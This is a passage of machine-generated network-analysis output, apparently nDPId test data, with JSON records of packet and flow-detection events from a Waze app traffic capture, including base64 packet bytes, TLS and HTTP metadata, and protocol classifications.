FLfa3\/WCUFIk+z8wM\/9D4F4Acb+ucC19DfNRlRH2PnB4XADBAcAwH9f2ggdCgdg\/E99swpYFD659oHQP8++H9IfYugnCE+vUwAYEoF4b+p9oO\/8pQHGQcA+i8AR88va5oQn13vCgUADOAcAkDxwUBBmN\/zoASwB+wFkfV33MB+hJfV+0CAf+T\/07\/UoCVf4z+tAkfeAQEP4\/sBf\/V9\/kMBeQBj\/VAR8AJ4MEgh\/QN\/AAIgHABBkiAWYATIBHwFs\/Vf3CCGBJ\/S+0CAf+gAKT\/Qf\/DAAD\/7AP\/pAMCv7\/0A\/\/ab\/5YAdQBv\/cwJcBV7z\/wR\/wJ\/wAMAHABBjWAqAAXAAbQF4\/U\/2zCMhL\/P+0Cgf\/BAUH\/Lv9OgBwAQAJ\/3AIBv9f4Av\/hP\/5IACQB4\/jwD8Bp9\/+wJ\/gEAAAPgHABBjABG4Agv\/xgF1fVD2wCRBL\/N+0Cgf+qAhb\/CP7agJ4BC\/0\/7AIA\/\/\/6Af\/wiAMT\/NgBq\/tf+kCWAH7AAAQCAgATQHABBjeBQgAuv\/ZwFx\/U32qCUhM\/M+0Cgf+1Ah7\/Av7MgKUA9\/xgBAMAn\/f6Af\/++AJL\/IQBT\/3v8gB0A78f+AAAAgAWwHABBlCBgQBBv\/KAFdfVP2yCVBLfL+0Cgf+bAl3\/DX7HAPcBR\/hf\/AYAf\/\/6AAAR8AX\/+vwAoAFf6sBaBn7f8AgAAgAagHACBneBa4BXH\/OgFH\/VT26CVBK\/L+0Cgf+8AdL\/X38ggKoA2\/lAAAqAP9f8AQAfKAPv\/Mf\/2AVf73\/cBT\/wAAf+AAAeAHACBq8BbQBt\/\/ZAEjfV\/3RCRhIfN+4Cgf\/UAZj\/4394AI8Ay\/c\/7BGAP6\/8AQAruAYP\/V\/+6AqP8z9cA4CwEA\/7\/gAhgHACBu8BIQCCf\/ywEBfWb3nCNhGfO+4CgQBCALAAzQAV\/74AI\/pf9Bp\/v1AABAAtCAJYASP+BBCv\/v50AALQKAP1\/AAlQHACBzcA+oCSwAJgDV\/Xv4LCGhCfS+4CAQDDAEgB\/ACXfxj\/4\/pf+CR+\/wgEBgAowAK4A0f9OBgQBn2T\/cSAQAft+QAowHACB3yAmwCbQAkgCzfYz4sCAA\/fV+8CAgGw\/2ADmwE4fbb\/M\/9gJC99fpgOCgAU1\/18CAP8sCCwEHxV+4dwX\/fj9wAsgHACB72Ad4CaYAxQCP\/a35YB3A5\/Z\/ABggK6\/zEFeoGafIv+9AEgYDp7nkAYDf\/4N\/x8Clv8gCpAEbs1\/Amwb+vV9QAwAHACB++AMYCOYA4wB7\/cn5+Bwg1\/c\/EBAgQz\/rAHugHyerf+fAegyEP43dgoEf\/KH\/ZkDpf8uDSgEPnZ\/szwd9PF9AAzwHACCBKAOgB3YAqwBs\/fL6rBpAv\/g\/IAggW+\/xwKGgHteTj+hAphREv1vaA4Ff+TX\/T8D7v9bD8QBHjABI8wf7+39QA3QHAJA8cG\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQPHBwEEBgFhf7hfrFAnUD1\/Qn06GCEf5PsDAHADif+RfgYBiwCX4yCsJ\/8\/r\/37\/9KwAo\/wSAjQGT+6\/7gR\/d\/4W\/P6ABE\/MAEEOYFAf83fuHAkWDsfSv1GF0ET5fuDAJMCrv+G\/qUBOv\/D6QB8IgDfr\/P8\/+rAAQ\/0DAe0Fk\/c\/4IC\/uBIQ\/f7AAq\/MAEEboDQf+x\/xgAgaDh\/Vb1aFkEL5vuDADcBf\/+xf0aBKP876yAkH4Lfr+v9\/\/\/gACP2DAXEFsADP030f2CAO\/\/8AAR\/MAIEsgCTAA8\/1vAb8DPvYX18FSD35vwDAF8AiP+8f+kAtP6j8p\/QGQS\/p+H\/AA1P\/0f6lAPgEgAnfyHlgIDIIAX9\/\/4\/MAIE8gAAgDn\/6jAWyC6\/bj2mFADn5\/yD\/\/7\/ZP\/2AHuAgv5n9l9gFga\/n9gAABfv\/yP9fAFUEIBMPvvZAQDoGA39\/\/e\/MAIFPP+fAGaAASARaCdvev3gEwDP5\/0DABv+kwAHgPh\/8\/4\/\/x74Doh\/l9ADABu3\/0AC9\/7sCXBrPuPOAiEP\/BX+\/\/F\/MAIFff7qAJhgGgAL0B+Phz4iEiC75\/0E\/6b9vwA9gVL\/sP50BB6ECgn\/j8wEAB5Q"} +00409{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":139667,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAozN5AAEAGojoKCAABQSeAh9aDAFDjx6hcHDh+FFAQ\/\/\/m2AAA"} +00658{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":139946,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADeKgJAAEAG7oMKCAABsCJnacdqAbskTkdJ27G4uFAY\/\/\/bawAAFgMBALEBAACtAwGNvLHuc12\/pFbnkT4Pum8D8uFdGv9vMlW4Y0hHfiKGhwAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":149,"source":"waze.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":4,"flow_first_seen":1435587871929,"flow_last_seen":1435587872139,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51050,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00410{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":140238,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLNAABAG1IiwImdpCggAAQG7x2rbsbi4JE5H\/1AQ\/\/\/EYgAA"} +00660{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":205500,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADe\/W5AAEAGGxcKCAABsCJnacdrAbsTBZAl7Ppv3FAY\/\/9RtAAAFgMBALEBAACtAwGE\/segDJyCTDDrsx\/XYj7jlyYez\/MCm2qOXqnc1anvDwAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":151,"source":"waze.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":4,"flow_first_seen":1435587871935,"flow_last_seen":1435587872205,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51051,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00410{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":206080,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLRAABAG1IewImdpCggAAQG7x2vs+m\/cEwWQ21AQ\/\/\/EYQAA"} +00658{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":289316,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADexDZAAEAGxO4KCAABNBFy25hiAbudWal9YqZWhFAY\/\/8vsgAAFgMBALEBAACtAwF2lB5vq2mfN7X6ktw+ENS1yvGFdgW5h3\/A\/IpZBJlZIAAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":153,"source":"waze.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":4,"flow_first_seen":1435587871939,"flow_last_seen":1435587872289,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"52.17.114.219","src_port":39010,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00408{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":289966,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLVAABAGRSY0EXLbCggAAQG7mGJiplaEnVmqM1AQ\/\/9kCgAA"} +00625{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":340645,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"ABoRAAACABoRAAABCABFAADFRGlAAEAG0S4KCAABNubjrLHqAFALhykw9HjW0VAY\/\/\/+LwAAR0VUIC9uZXdWY29uZmlnLzEuMC8zL3Byb21wdHNfY29uZi5idWY\/cnRzZXJ2ZXItaWQ9MTUgSFRUUC8xLjANCkhvc3Q6IGNyZXMud2F6ZS5jb20NClVzZXItQWdlbnQ6IC8zLjkuNC4wDQpJZi1Nb2RpZmllZC1TaW5jZTogVHVlLCAyMyBKdW4gMjAxNSAyMTo0MToxMyBHTVQNCg=="} +00679{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":155,"source":"waze.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":4,"flow_first_seen":1435587871941,"flow_last_seen":1435587872340,"flow_tot_l4_data_len":257,"flow_min_l4_data_len":20,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":64,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45546,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Waze","breed":"Acceptable","category":"Web"},"http": {"hostname":"cres.waze.com","url":"cres.waze.com\/newVconfig\/1.0\/3\/prompts_conf.buf?rtserver-id=15","code":0,"content_type":"","user_agent":"\/3.9.4.0"}} +00409{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":341312,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLZAABAG0X425uOsCggAAQBQser0eNbRC4cpzVAQ\/\/\/YXwAA"} +00413{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":341619,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":56,"pkt_l4_len":22,"pkt":"ABoRAAACABoRAAABCABFAAAqRGpAAEAG0cgKCAABNubjrLHqAFALhynN9HjW0VAY\/\/\/LSwAADQo="} +00409{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":341957,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLdAABAG0X025uOsCggAAQBQser0eNbRC4cpz1AQ\/\/\/YXQAA"} +12268{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":414894,"pkt_caplen":8262,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":8262,"pkt_l4_len":8228,"pkt":"ABoRAAACABoRAAABCABFACA4dLhAABAGClFBJ4CHCggAAQBQ1oMcOH4U48eoXFAQ\/\/+88QAAACwGs\/wYBbCGvtXGQpEX9Bv9\/+s\/MAIFxH5rgMjgNYAGYBWvkb5yEWCf5\/2E\/6n9VgBAAYP\/Hf7kDb4YAYsfh8oHABxgAXQMz\/mH\/ICZftnBw5EH2CH+\/+S\/MAIF\/H2nAPvAUTABQAu\/mr7IEOCD5\/4E\/xb9CQBbAYf+5f+oEv2z\/Avff8wIABwYA4AQz\/bL9xClPunBQ9Dn0CX+\/95\/MAIGN30ogSsgbW\/8oAB\/oL8mEKBj5v6E\/vr9MAA3gVj+bgC4HD1X8owfh9AKABpoBfAWw\/Rn7LCm\/wvExJCvuCf+\/9f\/MAMGYfx0gVtgh1\/4l\/XfpD+GEKBH5v6E\/kn9fwAkAP7+YQIIIF0D7Avfl9gLAB2YCQgaJ\/IH5sCg\/znMBHBntCf\/\/9G\/MAMGkPwWAYfgn2\/1J+rfpL\/oEOAn5f8E\/hL+NP\/MAHX+IAOgJ9y74Ysfr+IMACKIDHQfF+\/z3KCRf3fXRNAHoCYA\/8t\/MAMGsXuQAbZgsy\/yR+FfokBEEYAL5f8E\/Un\/Bv+C\/9D+VAVUKbx\/2wo\/z+wLAC8oEGghJ+3v17B7v7vkxF+fnCQC\/8T\/MAMG23tngeMgw6\/v19gvnYCcEl\/v5P+E\/P8AGv71fw3+WQdILrxD0Ij\/\/\/oLAD\/AFJgki+wHzzBfwAf1hF8fjCIE\/76\/MAkDxwkCBXmBC\/\/E3\/+QBa\/Y\/\/7CD\/6fRAUC\/wNT+d4EbwNjfHP8EA3CsAfwX6heCgATh\/hACpwC1DR\/o\/o4LEy\/Zz\/UFgAogBADBY+AsP\/g4ATgAP\/aMAxB+\/0\/TAYC\/wMp+z0EH4IvfM7+dAtCKAFx\/\/hUBv\/2D\/xoCzAAjCwfpLskLkpPP1\/iFAApQCAFBYGAi\/\/4wAlf\/P\/bABqB6\/t\/TAgC\/wJ6\/KgDpQE6\/TX\/tAoB1\/vzgChKA\/\/gx\/0oCY\/\/rCSvp7v4LQh\/L3PsEwAqQCAGBXMAPIAEQAxv+O\/b4CoB4\/nfTAkC\/wHj\/fUClAAf\/gQBsAZBO\/l2IFA6AP\/PeAEQCTP+ABpPt\/0gJ0WfN5\/2DwArgCD\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJA8cKAgZ2fomABgA\/3+WHz9CEwhvxn1gJAQD\/Vf2Z\/\/YAgH+ZAxv\/H4AFfUAYEf7\/3df90BF3+5AEcA4+fgVB7+\/\/+AIANn8wAwYN\/xl\/14Au7+en0YCKgiHw31QJAYH\/Gf78\/xOAAQBeApv8\/5QE\/oAICf\/\/3HgA5Avf\/TQAQBf\/NfyAsCgP+AAAL\/8wAwXG\/5P\/qmAf\/+m30pCPginv\/1AKAYH+6f+Z\/nr\/qgCSAiP+\/6wB\/yAQBf\/\/3v\/9vAf\/\/0v+gBp\/sfpAACAX+\/4AKX8wBAV+gCp\/jQAQT+tH1DCSwi3vf0wKAYH+yACR\/eD\/gYEwAUf8f9gC\/9\/4AAD\/6vAA9ALIAF\/8UB\/AI\/P\/YFgb+f0AIv8wBQViAJ\/\/doADb+xv1UCVQjHu\/0wLAYH+wwDK\/bd\/cYEoAJ\/+IAQAf8AAAgD\/92f+H\/+cAav8kBoAW\/W\/QEgX+\/0AHH8wBgVMgSZ\/ct\/2f+z31yCVgivu\/0gLAYH+3gF2\/a5\/gYF1\/6f7wEABf7\/wAgEACUgBk\/tUAdP8UBRAifS\/MGgT+\/0AFf8wBgVlgX9\/df\/s3+0P2ICUwifu30wLAYH\/IgF9\/i5\/joER\/xv94Hv8\/wAQBgAAFq\/+9\/lQAjf+IACAif0\/YCgH\/\/8AD38wBwWCgd7\/iH\/jP+y\/2tCRghnvX0wLAYH\/kwIg\/tn\/owD1\/lv8QLv6fmAgCgAAJEgCY\/Y4AZv\/H+sAhAN\/oB\/8AAAACP8wCAXFggd\/mx\/c3+xf3OCNggfv31AKAgEAMAJAAAr\/kgAl\/jv\/oOvxfaBoEf0AJ9\/\/m\/VoAXwBj8bAahMAD6\/sCgMAAn8wCQX\/AjN\/sx\/WH+w34ACHQe\/wn1AKAgEA+gMnAVX\/bn+h\/e\/\/4RvpfQCoFfsAJsgCb\/NgALwCf6GAXCBAX2fcEgX\/+\/8wCQZMgih\/v9\/SH+yn4vCAwdPxf1gJAgEB6AOsAwX\/Bf54\/mgFgS\/a\/KEYGfYAF1\/+3\/N8APAEP2+AUDYAfr\/QIgf\/9X8wCgZ8gid\/xh\/M\/+335wB4gbHyf1wIAgEC9gUaBKJ+eP2p\/rgIgTvN\/IF4GfIAAFAAj\/IIAOwD70AAYEeAfkfIMAn\/7v8wCwatAff\/tv\/J\/\/Bf6tBwwYvzP2AHAoEEEAY1Bm59lXxU\/+QQwRu6\/QIAF+v\/2T\/7y\/JwAkQD3whAiF9ADYfMRgn\/6H8wDAawAd9\/mh\/FX\/P\/74BoQWH0P2gGAoEFLwhEB+z8jPt3ANAWYPeq\/gJwEeb\/qrf8I\/DwA6ABXtkA1HD\/jPfQVgj\/4f8wCQPHCwcFN4J3f4rfuGAHF+iADgHz\/T8QAwWAAmf79wT+AZD8QAHAD\/639gFAcAH4\/7fIBpfu7AWwAfA1ASvX\/tFQA\/n6\/9XAsAgFUgJP\/3+fwjAGv+qQFIHF+\/8gBQWAAdL9EAPdAI99IQMYCv5f8oNgr\/P2\/+LgA9\/yBAaoCVAhgAPgQZEv3\/H+\/9tAsAkFcIHn\/3\/\/zgAFz+zAHIGT+p8wCAV\/AOr+xwK1\/+l+KAL4Bd5D8QWAt+X1\/\/\/wA5v4FAXwD7APfwXsw4DXx+oB\/+CAsAsFpwGn\/4q\/28ADT+3wJwFt+R88CgV\/AEf\/igFh\/zJ\/HQOYAZ4L74eAx9f0ABogAeP7iAXAFR\/6fgv3RbCfp+YF\/+YAsAwF3wEcf6Jf7TAAH+6wMwFF919MDQV+\/2wAzwAg\/uwAHgKf\/X4n8Qjgr831ACaIAvgCAAPUGF\/n\/VgExsA3l+YJ\/+tAsA0GKwCuf8OgAY\/7V+3wQYEt9X9QDwV+\/uoBAf7O\/qSBAQJH+h4z8oogn8X2ADFAAqAF8AJ8GV\/TPMAQB\/\/vg+YM\/\/DAsA4Gcn\/yf++gGc\/2F+xAUMEZ859YEgV+\/kkBo\/2wftmB1gBP916b9wpgZ8P5ADB4BVAMx\/+QF3\/B\/Iodh99\/g+wP\/\/YAsA8Gxf9VgCFANE\/vl+kQYYEX8d9YFAX9\/g4BI\/yc\/w6Cf\/8L9T77+4pgN8H8ADEwBlQQ4\/1sEq+vfHwoR88ng\/IQ\/\/uAsBEHCn52AFggUU\/pJ+TwccEb7\/9YFgX9\/cABE\/vXf7oDBfxH8\/+sAYl\/58QAACpgCmQXh\/n8Cw+hfNo0Bl63l\/4RAADAsBIHUv3FgI5gbi\/iH9+ggsEx7l9QGAX9\/dn\/5\/svgFgDW\/pr8wBQB4gfp8wEACmYDGAbD\/eoAK+SvVo9BQ5fqAoQAAZAsBMHhHzmgMQgiu\/bv9ngkYFL7N9MGgX9\/eD\/QvriAVeDf\/dL82E4DoXfV9gJACYAEUwgm\/RX9F+I\/j5GAn3\/0BgOAAuAsBQHtfxMAPSApL\/VV9OAn8Fz639AGwX9\/kL9n\/qygi4DfPVX8+H4FIN\/F+YMACzoE7giq\/Jb5l99\/zJMAE238CYMABEAsBYHz3uZASGAu9\/QF81wqwGX6l84HAX8\/of8q\/rUg0gDSPJj9aLsGgB+1\/gRADUAGPQmX++X1893wG5R\/Q1oJDQHABZAsBcH6vs7AUggzf\/LD8eAtUHF6X8sHQX8\/xL64fsAhBmDAfDT92OkHv2+qAgUAEqoG0wmc+4zyN9vgZpVem04TEADABvAsAkDxwwBBej+6QCgv\/TgFcA4n049ABbhL+r7AQBvABUBIX\/H\/13\/L\/+\/5A8DH5fuBP\/mgAMn++P9i\/Ov6gGIDPzfwBf0AQAPf9ACBbn++gCGP\/TwGLA6\/0V85BgBN+j7Af\/9\/4IAmn\/4f7f\/vAA\/wAiCn7\/yA\/\/gYAC\/\/Xf\/U\/ef4sEKDH2\/0Bv2AAANv9ACBYB+2QBz3\/YAG0A9fz78vBkBS+b6gv\/i\/xX\/\/QBjABH\/HACf1ACCH\/f0Af\/gSAQn\/jf\/2\/4f3ABoD37\/sBf9\/gAL\/9ACBV9+5gBi\/\/ZQHIA\/zzx8nhmBU+X6gv+O\/sD\/poB5gE3\/qAC\/w\/wBgBf4Af\/kYAHD\/7gA+AEf3QACDH+\/yBf\/\/QAKP9ACBTN+vgBYf\/iQHXBBrzv8fBnBZ+T6Av+b\/qP\/RAC8gH3\/HAD\/4\/cA4D\/6AP\/tUATsAGQA9AYP33+IDECvuBAD\/AAIf9ADBR\/+voBNH\/qgHUBC7z98ahlhb+T6A\/9z\/rD\/KwCegJL\/1ACf1\/YAIEAB\/\/\/4kAIMAewBnAbv6n9SBYEf8AwD\/AAGv9ADBQB+iYBFn\/8AHQBDP0R8WBjBe+T5g\/+y\/vz\/CoCkAJT\/kAB\/+\/V\/gEgF\/wAGkAR0ApABTAlf9r8WAcGf8AgH\/AAE\/9ADBPh+fgA6AANQG\/hCf0y8WhfBf+X5g\/+4\/3n\/MYBCgIMAp\/+f8\/j+gDAN\/wAUQACgBBgByAdwC\/8j9oGAQAAH\/gADP9AEBOF+QgAwAAnAG0BAj1V8ZBaBf+b5AgAiAC7\/TIADAFoAw\/9AG\/v9gCAR\/wAiAAHwBIwBfAcQIL8v7wFgZ\/wIAAABf9AEBN9+NYAgAA9gGhg9f1\/8hhUBc+n5AgBJAQr\/pn9hgCsCN\/4gDAL8X+gaAAAsr\/0EBdQCFAKAPT974EDgz\/QGA\/\/\/v9AEBMx+